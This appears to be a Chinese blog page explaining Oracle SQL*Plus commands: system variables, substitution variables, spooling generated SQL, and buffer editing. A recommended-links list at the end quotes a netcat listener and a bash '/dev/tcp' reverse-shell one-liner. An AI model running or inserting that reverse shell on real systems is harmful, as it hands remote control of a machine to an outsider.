show和set命令是两条用于维护SQL*Plus系统变量的命令

SQL> show all --查看所有68个系统变量值 
SQL> show user --显示当前连接用户 
SQL> show error   --显示错误 
SQL> set heading off --禁止输出列标题,默认值为ON 
SQL> set feedback off --禁止显示最后一行的计数反馈信息,默认值为"对6个或更多的记录,回送ON" 
SQL> set timing on --默认为OFF,设置查询耗时,可用来估计SQL语句的执行时间,测试性能 
SQL> set sqlprompt "SQL> " --设置默认提示符,默认值就是"SQL> " 
SQL> set linesize 1000 --设置屏幕显示行宽,默认100 
SQL> set autocommit ON --设置是否自动提交,默认为OFF 
SQL> set pause on --默认为OFF,设置暂停,会使屏幕显示停止,等待按下ENTER键,再显示下一页 
SQL> set arraysize 1 --默认为15 
SQL> set long 1000 --默认为80

说明: 
long值默认为80,设置1000是为了显示更多的内容,因为很多数据字典视图中用到了long数据类型,如:

SQL> desc user_views 
列名 可空值否 类型 
------------------------------- -------- ---- 
VIEW_NAME NOT NULL VARCHAR2(30) 
TEXT_LENGTH NUMBER 
TEXT LONG 
SQL> define a = '''20000101 12:01:01''' --定义局部变量,如果想用一个类似在各种显示中所包括的回车那样的常量, 
--可以用define命令来设置 
SQL> select &a from dual; 
原值 1: select &a from dual 
新值 1: select '20000101 12:01:01' from dual 
'2000010112:01:01 
----------------- 
20000101 12:01:01

问题提出: 
1、用户需要对数据库用户下的每一张表都执行一个相同的SQL操作,这时,一遍、一遍的键入SQL语句是很麻烦的 
实现方法: 
SQL> set heading off --禁止输出列标题 
SQL> set feedback off --禁止显示最后一行的计数反馈信息 
列出当前用户下所有同义词的定义,可用来测试同义词的真实存在性 
select 'desc '||tname from tab where tabtype='SYNONYM'; 
查询当前用户下所有表的记录数 
select 'select '''||tname||''',count(*) from '||tname||';' from tab where tabtype='TABLE'; 
把所有符合条件的表的select权限授予为public 
select 'grant select on '||table_name||' to public;' from user_tables where 《条件》; 
删除用户下各种对象 
select 'drop '||tabtype||' '||tname from tab; 
删除符合条件用户 
select 'drop user '||username||' cascade;' from all_users where user_id>25; 
快速编译所有视图 
----当在把数据库倒入到新的服务器上后(数据库重建),需要将视图重新编译一遍, 
----因为该表空间视图到其它表空间的表的连接会出现问题,可以利用PL/SQL的语言特性,快速编译。

SQL> SPOOL ON.SQL 
SQL> SELECT'ALTER VIEW '||TNAME||' COMPILE;' FROM TAB; 
SQL> SPOOL OFF 
然后执行ON.SQL即可。 
SQL> @ON.SQL 
当然,授权和创建同义词也可以快速进行,如: 
SQL> SELECT 'GRANT SELECT ON '||TNAME||' TO 用户名;' FROM TAB; 
SQL> SELECT 'CREATE SYNONYM '||TNAME||' FOR 用户名.'||TNAME||';' FROM TAB; 
命令列表: 
假设当前执行命令为:select * from tab; 
(a)ppend     添加文本到缓冲区当前行尾    a order by tname 结果:select * from tab order by tname; 
                                      (注:a后面跟2个空格) 
(c)hange/old/new 在当前行用新的文本替换旧的文本 c/*/tname     结果:select tname from tab; 
(c)hange/text  从当前行删除文本        c/tab       结果:select tname from ; 
del       删除当前行 
del n      删除第n行 
(i)nput 文本   在当前行之后添加一行 
(l)ist      显示缓冲区中所有行 
(l)ist n     显示缓冲区中第 n 行 
(l)ist m n    显示缓冲区中 m 到 n 行 
run       执行当前缓冲区的命令 
/        执行当前缓冲区的命令 
r        执行当前缓冲区的命令 
@文件名     运行调入内存的sql文件,如: 
SQL> edit s<回车> 
如果当前目录下不存在s.sql文件,则系统自动生成s.sql文件, 
在其中输入"select * from tab;",存盘退出。 
SQL> @s<回车> 
系统会自动查询当前用户下的所有表、视图、同义词。 
@@文件名     在.sql文件中调用令一个.sql文件时使用 
save 文件名   将缓冲区的命令以文件方式存盘,缺省文件扩展名为.sql 
get 文件名    调入存盘的sql文件 
start 文件名   运行调入内存的sql文件 
spool 文件名   把这之后的各种操作及执行结果"假脱机"即存盘到磁盘文件上,默认文件扩展名为.lst 
spool      显示当前的"假脱机"状态 
spool off    停止输出 
例: 
SQL> spool a 
SQL> spool 
正假脱机到 A.LST 
SQL> spool off 
SQL> spool 
当前无假脱机 
exit       退出SQL*PLUS 
desc 表名    显示表的结构 
show user    显示当前连接用户 
show error    显示错误 
show all     显示所有68个系统变量值 
edit       打开默认编辑器,Windows系统中默认是notepad.exe,把缓冲区中最后一条SQL语句调入afiedt.buf文件中进行编辑 
edit 文件名   把当前目录中指定的.sql文件调入编辑器进行编辑 
clear screen   清空当前屏幕显示

二.Oracle sqlplus语句编辑命令 
首先我们输入这样一条指令: 
SELECT emp_id, emp_name 
FROM Employees 
input 命令可以接着上一条指令的后面添加语句,比如在上述语句运行后输入: 
input WHERE emp_age > 30 
便可得到如下指令: 
SELECT emp_id, emp_name 
FROM Employees 
WHERE emp_age > 30 
ln 命令用于指定对以输入的第n行语句进行操作,比如在上述语句运行后输入: 
l1则当前选中的语句行即为 
SELECT emp_id, emp_name 
(语句前有"*"表示) 
a 命令用于直接在当前行的末尾加上字符,比如在上述语句运行后输入: 
a , emp_dept 
则执行的指令变为: 
SELECT emp_id, emp_name, emp_dept 
FROM Employees 
WHERE emp_age > 30 
c 命令用于修改当前语句中的字符,比如在上述语句运行后输入: 
c /emp_name/emp_age/则执行的指令变为: 
SELECT emp_id, emp_age, emp_dept 
FROM Employees 
WHERE emp_age > 30 
del n 命令用于删除第n行指令,比如在上述语句运行后输入: 
DEL 3 
则执行的指令变为: 
SELECT emp_id, emp_age, emp_dept 
FROM Employees

oracle sqlplus命令的更多相关文章

  1. oracle sqlplus命令详解

    涉及到的知识要点 a.带有一个&的替换变量的用法b.带有两个&的替换变量用法c.define命令用法d.accept命令用法e.定制SQL*Plus环境f.在glogin.sql文件中 ...

  2. Oracle sqlplus设置显示格式命令详解

    / 运行 SQL 缓冲区 ? [关键词] 对关键词提供 SQL 帮助 @[@] [文件名] [参数列表] 通过指定的参数,运行指定的命令文件 ACC[EPT] 变量 [DEF[AULT] 值] [PR ...

  3. 安装Oracle之后在DOS命令下不能使用sqlplus命令启动Oracle?

    就像完成安装JDK后需要给系统配置环境变量JAVA_HOME和PATH,以便让系统认识在JDK里面的Javac命令.同样的,安装Oracle也需要这么一个过程.在正常情况下安装Oracle时系统安装程 ...

  4. sqlplus命令行登录oracle数据库的N种方法盘点

    欢迎访问我的个人博客IT废柴,本文永久链接移至:sqlplus命令行登录oracle数据库的N种方法盘点 sqlplus有几种登陆方式Oracle数据库, 比如: 1.以操作系统权限认证的oracle ...

  5. oracle安装完成之后,执行sqlplus命令,提示:bash: sqlplus: command not found...

    1.安装完oracle后,用终端登录,因为不是直接用oracle用户登录的,所以我就执行$ su oracle切换成oracle用户之后,执行"echo $ORACLE_HOME" ...

  6. oracle sqlplus常用命令大全

    show和set命令是两条用于维护SQL*Plus系统变量的命令 SQL> show all --查看所有68个系统变量值 SQL> show user --显示当前连接用户 SQL> ...

  7. oracle sqlplus 常用命令大全

    show和set命令是两条用于维护SQL*Plus系统变量的命令 SQL> show all --查看所有68个系统变量值 SQL> show user --显示当前连接用户 SQL> ...

  8. 安装oracle服务端之后再安装oracle客户端导致sqlplus命令无法使用??

    首先小编自述一下所遇到的问题: 昨天在已经安装 oracle 服务端的 win7 X64 主机上安装 oracle client 之后,发现我的sqlplus命令无法用了??经过百度,都说我服务没有开 ...

  9. 学习笔记:oracle学习二:oracle11g数据库sql*plus命令之常用sqlplus命令、格式化查询结果

    目录 1.常用sqlplus命令 1.1 HELP命令 1.2 describe命令 1.3 SPOOL命令 1.4 其他常用命令 1.4.1 define命令 1.4.2 show命令 1.4.3 ...

随机推荐

  1. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...

  2. 深入浅出ES6教程『async函数』

    大家好,本人名叫苏日俪格,大家叫我 (格格) 就好,在上一章节中我们学到了Symbol & generator的用法,下面我们一起来继续学习async函数: async [ə'zɪŋk]:这个 ...

  3. 替换分隔符 ^p, 或者是回车

    1  Excel 里面的数据, 粘出来到notepad上,再从notepad 粘到word, 再把world里面的分隔符或者是回车符替换成 其他的 .

  4. Linux下不借助工具实现远程linux服务器上传下载文件

    # Linux下不借助工具实现远程linux服务器上传下载文件 ## 简介 - Linux下自带ssh工具,可以实现远程Linux服务器的功能- Linux下自带scp工具,可以实现文件传输功能 ## ...

  5. MacBook Pro设置外接显示器竖屏显示 切换主显示器

    切换主显示器设置 有一些使用 Mac 电脑的用户,比如笔记本用户,可能会由于屏幕太小想外接一个更大的显示器,也或是有多显示输出的需求.当 Mac 电脑上有了多个显示器以后,此时便会有主副显示区之分了. ...

  6. 逐层解析请求json参数字符串【我】

    import net.sf.json.JSONObject; 逐层解析请求json参数字符串: InputStream inStream =null; BufferedReader br =null; ...

  7. MongoDB数据表添加字段

    db.tshare_a.insert( { "_id" : ObjectId("57172b0f657f8bbb34d70147"), "picUrl ...

  8. Spring Boot与MyBatis的集成

    SSM(Spring+Spring MVC+MyBatis)是当前主流的框架组合开发方式之一,普遍被应用于互联网项目中.如果要使用Spring Boot开发一个基于SSM框架的应用,那么我们要怎么做呢 ...

  9. ubuntu18.04安装flat-remix-gnome主题

    flat-remix-gnome主题的github地址:https://github.com/daniruiz/flat-remix-gnome ubuntu下进行如下操作: sudo add-apt ...

  10. 【tensorflow】tensorflow官网进不去,因为它的地址改变了

    以前的网址是https://www.tensorflow.org/,当时得fq才能打开,现在这个我fq都打不开了. 现在新网址是https://tensorflow.google.cn/这个不fq都可 ...